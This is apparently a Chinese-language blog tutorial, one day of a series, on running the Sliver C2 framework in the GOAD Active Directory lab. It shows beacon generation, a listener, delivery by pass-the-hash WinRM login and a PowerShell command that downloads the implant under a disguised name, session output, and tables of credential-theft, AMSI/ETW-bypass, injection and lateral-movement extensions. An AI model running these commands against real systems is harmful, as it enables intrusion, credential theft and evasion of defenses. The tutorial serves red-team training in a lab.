iT邦幫忙

2025 iThome 鐵人賽

DAY 25
0
Security

資安這條路:AD 攻防實戰演練系列 第 25

AD 攻防實戰演練 Day 25:Sliver C2 實戰─從初始存取到域滲透

  • 分享至 

  • xImage
  •  

Banner

前言

在前面的章節中,我們學習了 Active Directory 的各種攻擊技術,包括 Kerberoasting、AS-REP Roasting、權限提升等。今天我們要將這些技術整合起來,使用現代化的 C2 (Command and Control) 框架 - Sliver 來進行完整的紅隊演練。

與傳統的 Metasploit 或 Cobalt Strike 相比,Sliver 是一個開源、使用 Golang 編寫的 C2 框架,具有跨平台、易於擴展等特點。今天我們將在 GOAD 環境中實際操作 Sliver,體驗從初始存取到域內橫向移動的完整攻擊鏈。

什麼是 Command and Control (C2)?

C2 伺服器是一種用於在遠端電腦或網路上執行指令或二進位檔案的軟體。C2 的主要功能是提供一個集中管理系統,讓操作者(紅隊成員)可以管理對網路中其他機器的存取權限。

攻擊生命週期 (Cyber Kill Chain):

根據 Lockheed Martin 在 2011 年提出的框架,網路攻擊生命週期分為七個階段:

階段 說明
偵察 (Reconnaissance) 收集目標資訊,可以是主動或被動偵察
武器化 (Weaponization) 開發可建立立足點的有效載荷(payload)
投放 (Delivery) 找到將有效載荷傳輸到目標的方法
利用 (Exploitation) 在目標上執行有效載荷
安裝 (Installation) 在目標上建立初始控制
C2 通訊 從目標建立到 C2 伺服器的連線
達成目標 (Actions on Objectives) 執行預期目標,如資料竊取或外洩

Sliver 簡介

Sliver 是由 BishopFox 開發的開源 C2 框架,其客戶端、伺服器和植入物(beacons/implants)都使用 Golang 編寫,使其易於跨平台編譯。

Sliver 的核心概念

  • Implants (植入物): 用於在目標系統上保持存取的可執行程式
  • Beacons (信標): 以固定時間間隔與 C2 伺服器通訊的模式,適合規避偵測
  • Sessions (會話): 即時互動模式,指令會立即執行
  • Stagers (分階段載入器): 用於載入程式碼到遠端機器的小型程式

Sliver 的優勢

  1. 開源免費: 不像 Cobalt Strike 需要付費授權
  2. 跨平台: 支援 Windows、Linux、macOS
  3. 多種通訊協定: 支援 mTLS、HTTP(S)、DNS、WireGuard
  4. Armory 擴展庫: 內建大量預編譯的 .NET 工具

環境準備

在攻擊機上安裝 Sliver

# 使用官方一鍵安裝腳本
curl https://sliver.sh/install | sudo bash

# 或者從 GitHub 下載 release
# https://github.com/BishopFox/sliver/releases

image

啟動 Sliver 伺服器

# 啟動 Sliver
sliver

# 如果要在背景執行
sudo systemctl enable sliver
sudo systemctl start sliver

image

help 可以查看有哪些指令

連接到 Sliver 客戶端

sliver-client

你應該會看到 Sliver 的控制台:

sliver >

在 GOAD 環境中的實戰演練

場景設定

假設我們已經透過某種方式(釣魚、漏洞利用等)獲得了 GOAD 環境中一台 Windows 機器的初始存取權限。我們的目標是:

  1. 在目標機器上建立穩定的 C2 連線
  2. 進行域內偵察
  3. 收集憑證
  4. 橫向移動到其他系統
  5. 提升權限至域管理員

步驟 1: 生成 HTTP Beacon

首先,我們需要生成一個植入物。在 GOAD 環境中,我們假設攻擊機的 IP 是 192.168.139.138

sliver > generate beacon --http 192.168.139.138:8080 --os windows --arch amd64 --format exe --save /tmp/payload.exe

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 15s
[*] Implant saved to /tmp/payload.exe

image

參數說明:

  • --http: 使用 HTTP(S) 協定,指定監聽的 IP 和埠
  • --os windows: 目標作業系統
  • --arch amd64: 目標架構
  • --format exe: 輸出格式為 EXE 執行檔
  • --save: 儲存路徑

步驟 2: 啟動 HTTP 監聽器

生成植入物後,需要啟動對應的監聽器:

sliver > http --lhost 192.168.139.138 --lport 8080

[*] Starting HTTP :8080 listener ...
[*] Successfully started job #1

驗證監聽器狀態:

sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    http   tcp        8080

image

步驟 3: 投放植入物到目標

將生成的 payload.exe 傳輸到目標機器。

在實際環境中,可能透過:

  • SMB 共享
  • Web 下載
  • 釣魚郵件附件
  • 利用漏洞直接寫入
evil-winrm -i 192.168.139.11 \
  -u catelyn.stark \
  -H 'cba36eccfd9d949c73bc73715364aff5'

image

cd /tmp
ls -al /tmp/payload.exe
python3 -m http.server

image

在 GOAD 環境中,假設我們已經有一個初始的 shell 或 RDP 存取:

# 在目標 Windows 機器上
# 方法1: 使用 PowerShell 下載
(New-Object Net.WebClient).DownloadFile('http://192.168.139.138:8000/payload.exe', 'C:\Windows\Temp\update.exe')


# 方法2: 如果有 SMB 存取
copy \\192.168.139.138\share\payload.exe C:\Windows\Temp\update.exe

image

執行植入物:

C:\Windows\Temp\update.exe

image

步驟 4: 確認 Beacon 回連

在 Sliver 控制台,你應該會看到新的 beacon 回連:

[*] Beacon 914c20d4 HEALTHY_MARACA - 192.168.139.11:54534 (winterfell) - windows/amd64 - Thu, 09 Oct 2025 11:01:57 EDT

sliver > beacons

 ID         Name             Transport   Hostname     Username              Operating System   Last Check-In   Next Check-In
========== ================ =========== ============ ===================== ================== =============== ===============
 914c20d4   HEALTHY_MARACA   http(s)     winterfell   NORTH\catelyn.stark   windows/amd64      36s             27s

image

步驟 5: 與 Beacon 互動

使用 use 指令選擇要操作的 beacon:

sliver > use 914c20d4

[*] Active beacon HEALTHY_MARACA (914c20d4-0e48-4e09-8680-0f2e6ca8a52a)

sliver (HEALTHY_MARACA) > info

         Beacon ID: 914c20d4-0e48-4e09-8680-0f2e6ca8a52a
              Name: HEALTHY_MARACA
          Hostname: winterfell
              UUID: ff354d56-381b-4297-8723-7f6e01391f35
          Username: NORTH\catelyn.stark
               UID: S-1-5-21-3845383931-1370366697-225289965-1112
               GID: S-1-5-21-3845383931-1370366697-225289965-513
               PID: 4204
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://192.168.139.138:8080
    Remote Address: 192.168.139.11:54534
         Proxy URL:
          Interval: 1m0s
            Jitter: 30s
     First Contact: Thu Oct  9 11:01:57 EDT 2025 (1m29s ago)
      Last Checkin: Thu Oct  9 11:03:09 EDT 2025 (17s ago)
      Next Checkin: Thu Oct  9 11:04:36 EDT 2025 (in 1m10s)

image

重要: Beacon 模式是非即時的,指令會在下次回連時執行。如果需要即時互動可以升級為 session:

sliver (HEALTHY_MARACA) > interactive

[*] Using beacon's active C2 endpoint: https://192.168.139.138:8080
[*] Tasked beacon HEALTHY_MARACA (91124e22)

[*] Session 478923fe HEALTHY_MARACA - 192.168.139.11:54594 (winterfell) - windows/amd64 - Thu, 09 Oct 2025 11:05:38 EDT

image

步驟 6: 基本指令操作

可進入 shell 模式

sliver (HEALTHY_MARACA) > use 478923fe

[*] Active session HEALTHY_MARACA (478923fe-54ab-47de-ac78-070669325b24)

sliver (HEALTHY_MARACA) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 1360

PS C:\Windows\Temp> whoami /all

image

查看 seesion

sliver > sessions

 ID         Transport   Remote Address         Hostname     Username              Operating System   Health
========== =========== ====================== ============ ===================== ================== =========
 478923fe   http(s)     192.168.139.11:54594   winterfell   NORTH\catelyn.stark   windows/amd64      [ALIVE]

image

查看目前使用者資訊

sliver (HEALTHY_MARACA) > whoami

Logon ID: NORTH\catelyn.stark
[*] Current Token ID: NORTH\catelyn.stark
sliver (HEALTHY_MARACA) > getprivs

Privilege Information for update.exe (PID: 4204)
------------------------------------------------

Process Integrity Level: High

Name                                            Description                                                             Attributes
====                                            ===========                                                             ==========
SeIncreaseQuotaPrivilege                        Adjust memory quotas for a process                                      Enabled, Enabled by Default
SeMachineAccountPrivilege                       Add workstations to domain                                              Enabled, Enabled by Default
SeSecurityPrivilege                             Manage auditing and security log                                        Enabled, Enabled by Default
SeTakeOwnershipPrivilege                        Take ownership of files or other objects                                Enabled, Enabled by Default
SeLoadDriverPrivilege                           Load and unload device drivers                                          Enabled, Enabled by Default
SeSystemProfilePrivilege                        Profile system performance                                              Enabled, Enabled by Default
SeSystemtimePrivilege                           Change the system time                                                  Enabled, Enabled by Default
SeProfileSingleProcessPrivilege                 Profile single process                                                  Enabled, Enabled by Default
SeIncreaseBasePriorityPrivilege                 Increase scheduling priority                                            Enabled, Enabled by Default
SeCreatePagefilePrivilege                       Create a pagefile                                                       Enabled, Enabled by Default
SeBackupPrivilege                               Back up files and directories                                           Enabled, Enabled by Default
SeRestorePrivilege                              Restore files and directories                                           Enabled, Enabled by Default
SeShutdownPrivilege                             Shut down the system                                                    Enabled, Enabled by Default
SeDebugPrivilege                                Debug programs                                                          Enabled, Enabled by Default
SeSystemEnvironmentPrivilege                    Modify firmware environment values                                      Enabled, Enabled by Default
SeChangeNotifyPrivilege                         Bypass traverse checking                                                Enabled, Enabled by Default
SeRemoteShutdownPrivilege                       Force shutdown from a remote system                                     Enabled, Enabled by Default
SeUndockPrivilege                               Remove computer from docking station                                    Enabled, Enabled by Default
SeEnableDelegationPrivilege                     Enable computer and user accounts to be trusted for delegation          Enabled, Enabled by Default
SeManageVolumePrivilege                         Perform volume maintenance tasks                                        Enabled, Enabled by Default
SeImpersonatePrivilege                          Impersonate a client after authentication                               Enabled, Enabled by Default
SeCreateGlobalPrivilege                         Create global objects                                                   Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege                   Increase a process working set                                          Enabled, Enabled by Default
SeTimeZonePrivilege                             Change the time zone                                                    Enabled, Enabled by Default
SeCreateSymbolicLinkPrivilege                   Create symbolic links                                                   Enabled, Enabled by Default
SeDelegateSessionUserImpersonatePrivilege       Obtain an impersonation token for another user in the same session      Enabled, Enabled by Default

image

查看網路介面

sliver (HEALTHY_MARACA) > ifconfig

+-------------------------------------------+
| Ethernet1                                 |
+-------------------------------------------+
| # | IP Addresses      | MAC Address       |
+---+-------------------+-------------------+
| 3 | 192.168.139.11/24 | 00:0c:29:39:1f:3f |
+-------------------------------------------+

+-------------------------------------------+
| Ethernet0                                 |
+-------------------------------------------+
| # | IP Addresses      | MAC Address       |
+---+-------------------+-------------------+
| 6 | 192.168.58.190/24 | 00:0c:29:39:1f:35 |
+-------------------------------------------+
1 adapters not shown.

image

查看系統資訊

sliver (HEALTHY_MARACA) > info

        Session ID: 478923fe-54ab-47de-ac78-070669325b24
              Name: HEALTHY_MARACA
          Hostname: winterfell
              UUID: ff354d56-381b-4297-8723-7f6e01391f35
          Username: NORTH\catelyn.stark
               UID: S-1-5-21-3845383931-1370366697-225289965-1112
               GID: S-1-5-21-3845383931-1370366697-225289965-513
               PID: 4204
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://192.168.139.138:8080
    Remote Address: 192.168.139.11:54594
         Proxy URL:
Reconnect Interval: 1m0s
     First Contact: Thu Oct  9 11:05:38 EDT 2025 (13m46s ago)
      Last Checkin: Thu Oct  9 11:19:23 EDT 2025 (1s ago)

image

更新

sliver > update

[*] Client v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - linux/amd64
    Compiled at 2025-02-19 14:57:36 -0500 EST
    Compiled with go version go1.20.7 linux/amd64


[*] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - linux/amd64
    Compiled at 2025-02-19 14:57:35 -0500 EST

Checking for updates ... done!

[*] No new releases.

image

Sliver 指令完整整理

基本操作指令

指令 說明 使用時機
help 顯示指令說明 忘記指令語法時
clear 清除螢幕 畫面太亂需要清理時
exit 離開 shell 結束操作時
info 顯示目前連線的詳細資訊 確認目標系統資訊、使用者身份
ping 測試與 implant 的連線 確認連線是否正常
background 將目前連線放到背景 需要切換到其他連線時
use 切換活躍的連線 管理多個受害主機時

會話與 Beacon 管理

指令 說明 使用時機
sessions 列出所有互動式連線 查看目前有哪些即時連線
beacons 管理 beacon 連線 查看定時回連的主機
interactive 將 beacon 轉為互動式連線 需要即時操作 beacon 時
tasks 查看 beacon 的任務狀態 確認指令是否執行完成
close 關閉互動式連線但不終止處理程序 暫時離開但保持植入程式運作
kill 終止連線並結束遠端處理程序 完全清除植入程式
rename 重新命名目前連線 方便識別不同目標

檔案系統操作

指令 說明 使用時機
ls 列出目錄內容 瀏覽檔案系統
cd 切換目錄 移動到其他資料夾
pwd 顯示目前工作目錄 確認目前位置
cat 顯示檔案內容 快速查看文字檔案
download 下載檔案到本機 取得敏感資料、文件
upload 上傳檔案到目標主機 傳送工具、惡意程式
mkdir 建立目錄 需要建立新資料夾時
rm 刪除檔案或目錄 清理痕跡、刪除檔案
mv 移動或重新命名檔案 整理檔案、改名
chmod 變更檔案權限(Linux) 修改執行權限
chown 變更檔案擁有者(Linux) 修改檔案所有權
chtimes 修改檔案時間戳記 反鑑識,偽造檔案建立/修改時間
memfiles 列出記憶體中的檔案 查看無檔案攻擊載入的內容

處理程序與執行操作

指令 說明 使用時機
ps 列出執行中的處理程序 尋找目標處理程序、檢查防毒軟體
execute 在遠端系統執行程式 執行命令或工具
shell 啟動互動式 shell 需要執行多個命令時
getpid 取得目前處理程序 PID 確認植入程式的處理程序 ID
getuid 取得處理程序 UID(Linux) 確認執行身份
getgid 取得處理程序 GID(Linux) 確認群組 ID
terminate 終止指定處理程序 關閉防毒軟體或其他處理程序
procdump 傾印處理程序記憶體 擷取密碼、敏感資訊
migrate 遷移到其他處理程序 躲避偵測、提升穩定性

網路操作

指令 說明 使用時機
ifconfig 查看網路介面設定 了解目標網路環境
netstat 顯示網路連線資訊 發現內網服務、連線狀態
portfwd 設定內網端口轉發 存取內網服務(如 RDP、SMB)
rportfwd 反向端口轉發 讓內網主機連到攻擊者
socks5 建立 SOCKS5 代理 透過受害主機訪問內網
pivots 列出目前的跳板點 查看跳板連線狀態
ssh 在遠端主機執行 SSH 命令 橫向移動到其他 Linux 主機

Windows 權限提升與操作

指令 說明 使用時機
whoami 顯示目前使用者身份 確認執行權限
getprivs 取得目前權限(Windows) 查看可用的特權
getsystem 提升為 SYSTEM 權限 取得最高權限
impersonate 模擬已登入的使用者 竊取其他使用者的 token
make-token 建立新的登入會話 使用帳密建立新身份
rev2self 還原為原始身份 放棄竊取的 token
runas 以指定使用者執行程式 使用特定帳號執行命令
psexec 在遠端目標啟動服務 橫向移動到其他 Windows 主機
registry Windows 登錄檔操作 修改登錄檔、持久化

後滲透與注入工具

指令 說明 使用時機
execute-assembly 執行 .NET 組件 執行 C# 工具(如 Rubeus、Seatbelt)
execute-shellcode 在目前處理程序執行 shellcode 執行惡意程式碼
sideload 載入並執行 DLL DLL 注入攻擊
spawndll 在遠端處理程序執行反射式 DLL 更隱蔽的 DLL 注入
msf 在目前處理程序執行 MSF payload 整合 Metasploit 功能
msf-inject 注入 MSF payload 到處理程序 注入到其他處理程序
backdoor 在遠端檔案植入 shellcode 感染合法檔案
dllhijack 植入 DLL 劫持 DLL 劫持攻擊
shikata-ga-nai 多型 shellcode 編碼器 躲避防毒偵測
screenshot 截取螢幕畫面 監控使用者活動
cursed Chrome/Electron 後滲透工具 針對瀏覽器的攻擊

監聽器與 C2 管理

指令 說明 使用時機
mtls 啟動 mTLS 監聽器 建立加密的 C2 通道
http 啟動 HTTP 監聽器 建立 HTTP C2
https 啟動 HTTPS 監聽器 建立加密的 HTTPS C2
dns 啟動 DNS 監聽器 透過 DNS 建立隱蔽通道
wg 啟動 WireGuard 監聽器 使用 VPN 技術的 C2
jobs 查看執行中的工作 管理監聽器和任務
stage-listener 啟動分階段監聽器 多階段植入攻擊
websites 託管靜態內容 配合 HTTP C2 提供檔案下載

Implant 生成與管理

指令 說明 使用時機
generate 產生植入程式 建立新的惡意程式
regenerate 重新產生 implant 更新現有配置
profiles 列出現有配置檔 管理不同的植入程式模板
implants 列出已產生的植入程式 查看建立過的所有 implant
canaries 列出金絲雀標記 追蹤植入程式是否被分析
builders 列出外部建置器 管理交叉編譯環境

擴充與整合功能

指令 說明 使用時機
armory 自動下載安裝擴充功能 安裝社群工具和別名
extensions 管理擴充功能 載入自訂功能模組
aliases 列出目前別名 查看可用的快捷指令
reaction 管理事件自動反應 設定自動化回應規則
loot 管理戰利品儲存 整理收集到的敏感資料
hosts 管理主機資料庫 記錄目標主機資訊

系統與多人協作

指令 說明 使用時機
version 顯示版本資訊 確認 Sliver 版本
update 檢查更新 更新 Sliver 到最新版
licenses 顯示開源授權 查看法律資訊
settings 管理客戶端設定 調整使用偏好
operators 管理操作員 多人協作時管理權限
prelude-operator 管理 Prelude Operator 連線 整合 Prelude 平台
monitor 監控威脅情報平台 檢查 implant 是否被上傳分析

步驟 7: 域內偵察

安裝 Armory 工具

Sliver 的 Armory 提供了大量預編譯的工具:

sliver > armory

Aliases
=======
...

Extensions
==========
...

image

sliver > armory install seatbelt
sliver > armory install rubeus

image
image

Sliver Armory 擴充套件完整清單

Kerberos 與 AD 認證攻擊

套件名稱 版本 類型 功能說明
bof-roast v0.0.2 Extension Active Directory Roasting 攻擊 BOF
c2tc-kerberoast v0.0.9 Extension 列出所有啟用 SPN 的使用者/服務帳號或請求服務票證 (TGS-REP)
c2tc-kerbhash v0.0.9 Extension Mimikatz/Rubeus 的 hash 命令移植版
c2tc-klist v0.0.9 Extension 顯示目前快取的 Kerberos 票證清單
delegationbof v0.0.2 Extension LDAP 檢查 RBCD、限制委派、協定轉換委派、無限制委派等
tgtdelegation v0.0.4 Extension 取得可用的 Kerberos TGT
kerbrute v0.0.1 Extension Kerberos 預先驗證暴力破解工具
nanorobeus v0.0.2 Extension 管理 Kerberos 票證的 BOF
rubeus v0.0.25 Alias 原始 Kerberos 互動與濫用的 C# 工具組
certify v0.0.4 Alias 列舉並濫用 AD 憑證服務錯誤配置

AD 網域偵察與列舉

套件名稱 版本 類型 功能說明
c2tc-domaininfo v0.0.9 Extension 使用 AD 網域服務列舉網域資訊
c2tc-addmachineaccount v0.0.9 Extension 新增機器帳號 [電腦名稱] [密碼 <選填>]
c2tc-lapsdump v0.0.9 Extension 從 AD 中指定的電腦傾印 LAPS 密碼
c2tc-smbinfo v0.0.9 Extension 使用 NetWkstaGetInfo API 收集遠端系統版本資訊
c2tc-spray-ad v0.0.9 Extension 對 Active Directory 執行 Kerberos 或 LDAP 密碼噴灑攻擊
ldapsigncheck v0.0.1 Extension 檢查 LDAP 簽章
sharp-hound-3 v0.0.2 Alias C# 版 BloodHound 資料收集器(版本3)
sharp-hound-4 v0.0.2 Alias C# 版 BloodHound 資料收集器(版本4)
sharpview v0.0.1 Alias harmj0y's PowerView 的 C# 實作
sharplaps v0.0.1 Alias 從 LDAP 取得 LAPS 密碼

憑證與密碼竊取

套件名稱 版本 類型 功能說明
mimikatz v0.0.1 Extension Windows 安全性測試小工具(密碼竊取)
nanodump v0.0.5 Extension 建立 LSASS 處理程序的 minidump 的 BOF
credman v1.0.7 Extension 使用 CredsBackupCredentials API 傾印憑證
hashdump v1.0.0 Extension 傾印本機 SAM 密碼雜湊
handlekatz v0.0.1 Extension handlekatz 的 BOF 實作(僅支援 x64)
chromiumkeydump v0.0.2 Extension 傾印 Chrome/Edge 主金鑰
go-cookie-monster v0.0.1 Extension 支援 AppBound 金鑰的 Chrome Cookie 竊取器
sharpchrome v0.0.4 Alias SharpChrome 專案的改編版本
sharpdpapi v0.0.4 Alias Mimikatz 專案的部分 DPAPI 功能移植
sharpsecdump v0.0.1 Alias impacket 的 secretsdump.py 功能的 C# 移植版
c2tc-wdtoggle v0.0.9 Extension 修補 lsass 以啟用 WDigest 憑證快取

處理程序注入與繞過技術

套件名稱 版本 類型 功能說明
inject-amsi-bypass v0.0.2 Extension 使用程式碼注入繞過遠端處理程序中的 AMSI
inject-etw-bypass v0.0.3 Extension 透過系統呼叫注入 ETW 繞過到遠端處理程序
unhook-bof v0.0.2 Extension 從 Beacon 處理程序中移除 API hook
patchit v0.0.1 Extension 為 x64 處理程序修補、檢查和還原 AMSI 和 ETW
hollow v0.0.1 Extension EarlyBird 處理程序挖空技術
secinject v0.0.1 Extension Section Mapping 處理程序注入
syscalls_shinject v0.0.1 Extension 使用系統呼叫注入 shellcode 到遠端處理程序
threadless-inject v0.0.1 Extension 透過 hook 函數呼叫在遠端處理程序內執行 shellcode
inject-createremotethread v0.1.2 Extension 使用 CreateRemoteThread 注入處理程序
inject-ntcreatethread v0.1.2 Extension 使用 NtCreateThread 注入處理程序
inject-*(其他14個) v0.1.2 Extension 各種不同的處理程序注入技術

系統偵察(Situational Awareness)

套件名稱 版本 類型 功能說明
sa-whoami v0.0.23 Extension 模擬 whoami /all
sa-ipconfig v0.0.23 Extension 取得 IPv4 位址、主機名稱和 DNS 伺服器
sa-netstat v0.0.23 Extension TCP / UDP IPv4 netstat 列表
sa-tasklist v0.0.23 Extension 取得執行中處理程序清單(包含 PID、PPID 和命令列)
sa-ps 系列(psc/psk/psm/psw/psx) v0.0.9 Extension 顯示處理程序詳細資訊(連線/核心/特定PID/視窗/全部)
sa-sc-*(服務相關) v0.0.23 Extension Windows 服務列舉與查詢
sa-netshares v0.0.23 Extension 列出本機或遠端電腦的共享
sa-netgroup v0.0.23 Extension 從預設或指定網域列出群組
sa-netuser v0.0.23 Extension 取得特定使用者資訊
sa-netloggedon v0.0.23 Extension 回傳本機或遠端電腦上已登入的使用者
sa-reg-query v0.0.23 Extension 查詢 Windows 登錄檔
sa-schtasksenum v0.0.23 Extension 列舉本機或遠端機器上的所有排程工作
sa-dir v0.0.23 Extension 使用 BOF 列出目標目錄
sa-driversigs v0.0.23 Extension 列舉已安裝服務的映像檔路徑
sa-env v0.0.23 Extension 列出處理程序環境變數
seatbelt v0.0.6 Alias 執行多項安全導向的主機調查「安全檢查」

橫向移動

套件名稱 版本 類型 功能說明
jump-psexec v0.0.2 Extension psexec 橫向移動模組
jump-wmiexec v0.0.2 Extension wmiexec 橫向移動模組
scshell v0.0.2 Extension 無檔案橫向移動
bof-servicemove v0.0.1 Extension 透過濫用 Windows Perception Simulation Service 達成 DLL 劫持的橫向移動技術
winrm v0.0.1 Extension 透過 WinRM 遠端執行命令
sharp-smbexec v0.0.3 Alias Invoke-SMBExec PowerShell 腳本的原生 C# 轉換
sharp-wmi v0.0.2 Alias 各種 WMI 功能的 C# 實作
sharprdp v0.0.1 Alias 用於已驗證命令執行的遠端桌面協定 .NET 主控台應用程式
sharpmapexec v0.0.1 Alias CrackMapExec 的 C# 版本

權限提升與持久化

套件名稱 版本 類型 功能說明
krbrelayup v0.0.2 Alias Windows 網域環境中通用的本機權限提升(當 LDAP 簽章未強制執行時)
sharpup v0.0.2 Alias 各種 PowerUp 功能的 C# 移植
sharpersist v0.0.2 Alias Windows 持久化工具包
c2tc-petitpotam v0.0.9 Extension PetitPotam <擷取伺服器 IP> <目標伺服器 IP>
remote-ghost_task v0.1.2 Extension 直接操作登錄檔以建立排程工作,不觸發常見的事件記錄

遠端操作工具(Remote Ops)

套件名稱 版本 類型 功能說明
remote-adduser v0.1.2 Extension 新增使用者到機器
remote-addusertogroup v0.1.2 Extension 將指定使用者新增到網域群組
remote-setuserpass v0.1.2 Extension 設定指定使用者帳號的密碼
remote-enable-user v0.1.2 Extension 解鎖並啟用本機/遠端使用者帳號
remote-sc-*(服務管理) v0.1.2 Extension 遠端服務建立、刪除、啟動、停止、配置
remote-schtasks*(工作排程) v0.1.2 Extension 排程工作的建立、刪除、執行、停止
remote-reg-*(登錄檔) v0.1.2 Extension 登錄檔刪除、儲存、設定
remote-procdump v0.1.2 Extension 將指定處理程序傾印到指定輸出檔案
remote-adcs-request v0.1.2 Extension 從 AD 憑證伺服器請求憑證

其他專業工具

套件名稱 版本 類型 功能說明
chisel v0.0.1 Extension 快速的 TCP/UDP 通道,透過 HTTP 傳輸,使用 SSH 加密
portbender v0.0.1 Extension TCP 端口重新導向工具
coff-loader v1.0.15 Extension 在記憶體中載入並執行 Beacon Object Files (BOFs)
inline-execute-assembly v0.0.1 Extension 處理程序內 .NET 組件執行
raw-keylogger v0.0.7 Extension 使用原始輸入介面記錄按鍵
sqlrecon v3.8.0 Alias 為滲透測試和後滲透設計的 MS SQL 工具包
sharpsccm v2.0.12 Alias 用於與 SCCM 互動的 C# 工具
mlokit v0.0.1 Alias MLOps 攻擊工具包
find-module v0.0.2 Extension 使用直接系統呼叫列舉特定模組的處理程序
find-proc-handle v0.0.2 Extension 使用直接系統呼叫列舉特定處理程序控制代碼的處理程序

套件組合(Bundles)

組合名稱 包含套件 用途
kerberos bof-roast, delegationbof, c2tc-kerberoast, tgtdelegation, kerbrute, nanorobeus Kerberos 攻擊全套
situational-awareness 所有 sa-* 工具(共43個) 系統偵察完整工具組
windows-credentials nanodump, credman, chromiumkeydump, handlekatz, mimikatz, go-cookie-monster 憑證竊取工具組
windows-inject 所有 inject-* 和其他注入工具(共19個) 處理程序注入技術集合
windows-bypass inject-etw-bypass, inject-amsi-bypass, unhook-bof, patchit 防護繞過工具
windows-pivot scshell, bof-servicemove, winrm, jump-wmiexec, jump-psexec 橫向移動工具
.net-recon seatbelt, sharp-hound-3/4, sharpup, sharpview .NET 偵察工具
.net-pivot krbrelayup, rubeus, certify, sharpsecdump, 等 .NET 滲透工具
.net-execute sharp-smbexec, sharp-wmi, sharpmapexec, 等 .NET 執行工具
c2-tool-collection 所有 c2tc-* 工具(共18個) C2 工具集合
cs-remote-ops-bofs 所有 remote-* 工具(共29個) 遠端操作 BOF 集合

安裝建議

# 安裝單一套件
armory install <套件名稱>

# 例如:安裝 mimikatz
armory install mimikatz

# 安裝整個組合
armory install <組合名稱>

# 例如:安裝所有 Kerberos 工具
armory install kerberos

使用 Seatbelt 進行系統枚舉

sliver (HEALTHY_MARACA) > seatbelt WindowsFirewall


====== WindowsFirewall ======

Collecting Windows Firewall Non-standard Rules


Location                     : SOFTWARE\Policies\Microsoft\WindowsFirewall

Location                     : SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy

Domain Profile
    Enabled                  : False
    DisableNotifications     : True
    DefaultInboundAction     : ALLOW
    DefaultOutboundAction    : ALLOW

Public Profile
    Enabled                  : False
    DisableNotifications     : True
    DefaultInboundAction     : ALLOW
    DefaultOutboundAction    : ALLOW

Standard Profile
    Enabled                  : False
    DisableNotifications     : True
    DefaultInboundAction     : ALLOW
    DefaultOutboundAction    : ALLOW



[*] Completed collection in 0.098 seconds


sliver (HEALTHY_MARACA) > seatbelt AutoRuns

[*] seatbelt output:


====== AutoRuns ======


  HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run :
    C:\Windows\system32\SecurityHealthSystray.exe
    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr


[*] Completed collection in 0.014 seconds

image
image
image

Seatbelt 可用命令清單

指令 說明 使用時機/目標
OSInfo 系統基本資訊 (OS版本、架構、主機名、域名、目前使用者、權限等級) 初始偵察 - 了解目標系統環境、確認權限等級
LocalUsers 本地使用者清單 (啟用狀態、密碼最後設定時間、登入次數、RID、使用者類型) 橫向移動準備 - 識別管理員帳戶、找出弱密碼候選目標
LocalGroups 本地群組成員資訊 權限提升 - 查看哪些使用者屬於管理員群組
Processes 運行中的非微軟進程 (路徑、命令列、公司名稱) 威脅識別 - 發現防毒軟體、EDR、監控工具
Services 非微軟服務列表 (服務名稱、狀態、啟動模式、權限) 權限提升 - 尋找可利用的服務、檢查服務權限設定
ScheduledTasks 排程任務 (非微軟任務、執行使用者、觸發器、執行內容) 持久化/橫向移動 - 發現可劫持的任務、找出定期執行的腳本
NetworkShares 網路共享資源 橫向移動 - 發現可訪問的共享資料夾、敏感資料
ARPTable ARP表和網路介面資訊 (IP、MAC、介面) 網路偵察 - 發現內網中的其他主機、網段劃分
DNSCache DNS快取記錄 內網偵察 - 識別目標訪問過的內部主機、域名
WindowsFirewall 防火牆設定和非標準規則 初始評估 - 了解防火牆狀態、出入站規則限制
AutoRuns 開機自動執行項目 持久化/威脅分析 - 尋找植入點、發現其他惡意軟體
AntiVirus 註冊的防毒軟體資訊 (透過WMI) 初始偵察 - 識別防護產品、調整攻擊策略
Hotfixes 已安裝的系統更新 漏洞利用 - 檢查是否缺少關鍵安全更新
LogonSessions 登入會話資訊 橫向移動 - 發現已登入的使用者、潛在的憑證竊取目標
PowerShell PowerShell版本和安全設定 腳本執行評估 - 檢查約束模式、腳本執行策略
EnvironmentVariables 環境變數 資訊收集 - 找出特殊路徑、應用程式設定
MappedDrives 使用者的網路磁碟對應 橫向移動 - 發現網路資源、共享檔案伺服器
InterestingProcesses "有趣"的處理程序 (防護產品、管理工具) 威脅識別 - 快速識別安全產品和管理工具

典型使用場景組合:

初始偵察階段

seatbelt OSInfo AntiVirus WindowsFirewall Hotfixes

目的: 了解系統環境、防護措施、補丁狀態

權限提升準備

seatbelt LocalUsers LocalGroups Services ScheduledTasks AutoRuns

目的: 尋找可利用的服務、任務、弱權限設定

橫向移動準備

seatbelt NetworkShares MappedDrives ARPTable DNSCache LogonSessions

目的: 發現內網資源、其他主機、已登入使用者

防禦規避

seatbelt InterestingProcesses Processes WindowsFirewall PowerShell

目的: 識別威脅、了解防護機制、規劃繞過策略

使用 PowerView 進行域偵察

sudo git clone https://github.com/Flangvik/SharpCollection.git /opt/SharpCollection


ls /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe

image

在 Sliver 中執行 PowerView 指令:

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-Domain

[*] Output:
Forest                         : sevenkingdoms.local
DomainControllers              : {winterfell.north.sevenkingdoms.local}
Children                       : {}
DomainMode                     : Unknown
DomainModeLevel                : 7
Parent                         : sevenkingdoms.local
PdcRoleOwner                   : winterfell.north.sevenkingdoms.local
RidRoleOwner                   : winterfell.north.sevenkingdoms.local
